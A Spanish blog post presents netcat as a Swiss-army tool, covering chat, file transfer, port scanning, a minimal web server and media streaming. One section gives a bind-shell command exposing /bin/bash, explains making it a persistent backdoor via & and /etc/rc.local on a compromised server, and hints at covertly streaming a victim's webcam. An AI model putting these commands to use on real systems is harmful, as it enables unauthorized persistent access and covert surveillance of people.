GoRiX blog

A blog about things

NetCat: La navaja Suiza

June 01, 2024 — n4ch0m4n

El término "navaja suiza" entró en la cultura popular como sinónimo de utilidad y adaptabilidad, podría ponerse como ejemplo en la vida real a las navajas Victorinox conocidas por todos.

Ahora bien, en Gnu/Linux hay programas que son llamadas navajas suizas en el sistema, que pueden ser por ejemplo ffmpeg, imagemagick, ssh y un largo etcétera. Pero la gran ganadora debería (para mí) ser NetCat.

A mí me fue enseñada por medio de quien me enseñó lo de este post, y me fue presentada como LA navaja suiza de Gnu/Linux y fue con el siquiente ejemplo:

En EquipoA

nc -l -p 12345

En EquipoB

nc 192.168.1.2 12345

Qué hace esto? Un chat simple entre dos equipos en la red. Detallo:


  • EquipoA con ip 192.168.1.2
  • EquipoB con ip 192.168.1.3

(usaremos los mismos para los demás ejemplo)

Lo lanzado en A pone el equipo en escucha (listen, -l) en el puerto (-p) 12345. En el B se conecta al equipo al puerto que está escuchando A.

Que ocurre una vez establecida la conexión? Lo que se escriba en ambos, será enviado al otro equipo y viceversa, osea un intercambio de mensajes…osea un chat.

Ya se habrán dado cuenta que fácil es abrir un puerto y conectarse a un puerto (podría armar un mini servidor de algo o bien probar conexiones a posibles puertos abiertos).

Pero bueno vamos con más ejemplos curiosos….Para el resto del post usaremos el netcat mencionado y ncat (la reimplementación mejorada por parte de los chicos de nmap); por lo cual es algunas instrucciones verán nc o ncat.

Vamos con algunos ejemplos más…

Transferir archivos

Al igual que el del chat, pero le indico el archivo a compartir

En A

nc -l -p 12345 < archivo.txt

En B

nc 192.168.1.2 12345 > archivo.txt

Escaneo de Puertos

Alguien dice escaneo de puertos y piensa en nmap, pero netcat puede hacerlo también y no de a uno solo:

nc -zv 192.168.1.2 20-30

Esto prueba conectividad en la ip indicada en el rango de puertos indicados (20 a 30). Si le agregamos -u probará por udp en vez de tcp.

Servidor Web Simple

Netcat se puede usar para crear un servidor web basicón. Supongamos que ya tenemos un archivo `index.html` creado.

{ echo -e 'HTTP/1.1 200 OK\r\n'; cat blog/index.html; } | sudo nc -l -p 81

Lo que hace ahi es simple, primero envíamos el reponse 200 (osea un OK) al browser y luego mostramos el contenido del html y finalmente le decimos que esa salida sea puesta en escucha en el puerto 81.

Si vamos a nuestro navegador y ponemos ip:81 veremos el contenido del html.

Acceso Remoto y algo más….. ;-)

Podríamos dar acceso al intérprete (bash, sh, etc) de un equipo

En A

ncat -l -p 12345 -e /bin/bash

En B

nc 192.168.1.2 12345

Ahora si desde B tirás algún comando veremos la salida del mismo, probalo!

Detengámonos un poco acá. Que pasaría si yo obtengo temporalmente acceso remoto o local a un servidor y corro lo que corrí en A, pero con un & al final?

nc -l -p 12345 -e /bin/bash &

Estaría dejando en segundo plano corriendo ese comando, osea estaría abriendo un puerto en segundo plano, osea estaría dejando una puerta trasera (backdoor) y si vamos más allá y lo pongo en /etc/rc.local dicha línea….el equipo tendría siempre corriendo un backdoor!!!

….cuidado con el uso que le dan a esto ;-)

Transmisión de Video y Audio en Tiempo Real…y algo más…


Podríamos transmitir video y audio en tiempo real.

En A

cat archivo.mp3 | nc -l -p 12345

En B

nc 192.168.1.2 12345 | ffplay -

El ejemplo creo es claro, por un lado (como en los demás ejemplos) mandamos lo que queremos sea recibido del otro lado y desde ese otro lado nos conectamos y le decimos como usar esa información en este caso escuchar el mp3 con ffplay.

Video? fácil! cat archivo.mp4 y listo, podemos recibirlo con ffplay, mpv, vlc….con cualquier cosa que reproduzca video.

Detengámonos un poco de vuelta acá ….usemos otra navaja suiza…ffmpeg, con esto ponemos en funcionamiento la webcam y la mandamos a estar a disposición en el puerto 12345 para que quien se conecte pueda ver a través de la webcam

En A

ffmpeg -f video4linux2 -i /dev/video0 -f mpegts - | nc -l -p 12345

En B

nc 192.168.1.2 12345 | ffplay -

Ya se les ocurrió a que voy? Recuerden lo del backdoor….el &…..bueno….no doy más pistas

Hay muchos más ejemplos en la web por lo que les dejo algunas referencias donde buscar:

https://linuxcommandlibrary.com/man/nc (esta web me encanta!)

https://duckduckgo.com/?q=netcat+examples+uses

Espero les haya resultado interesante!!

Tags: Redes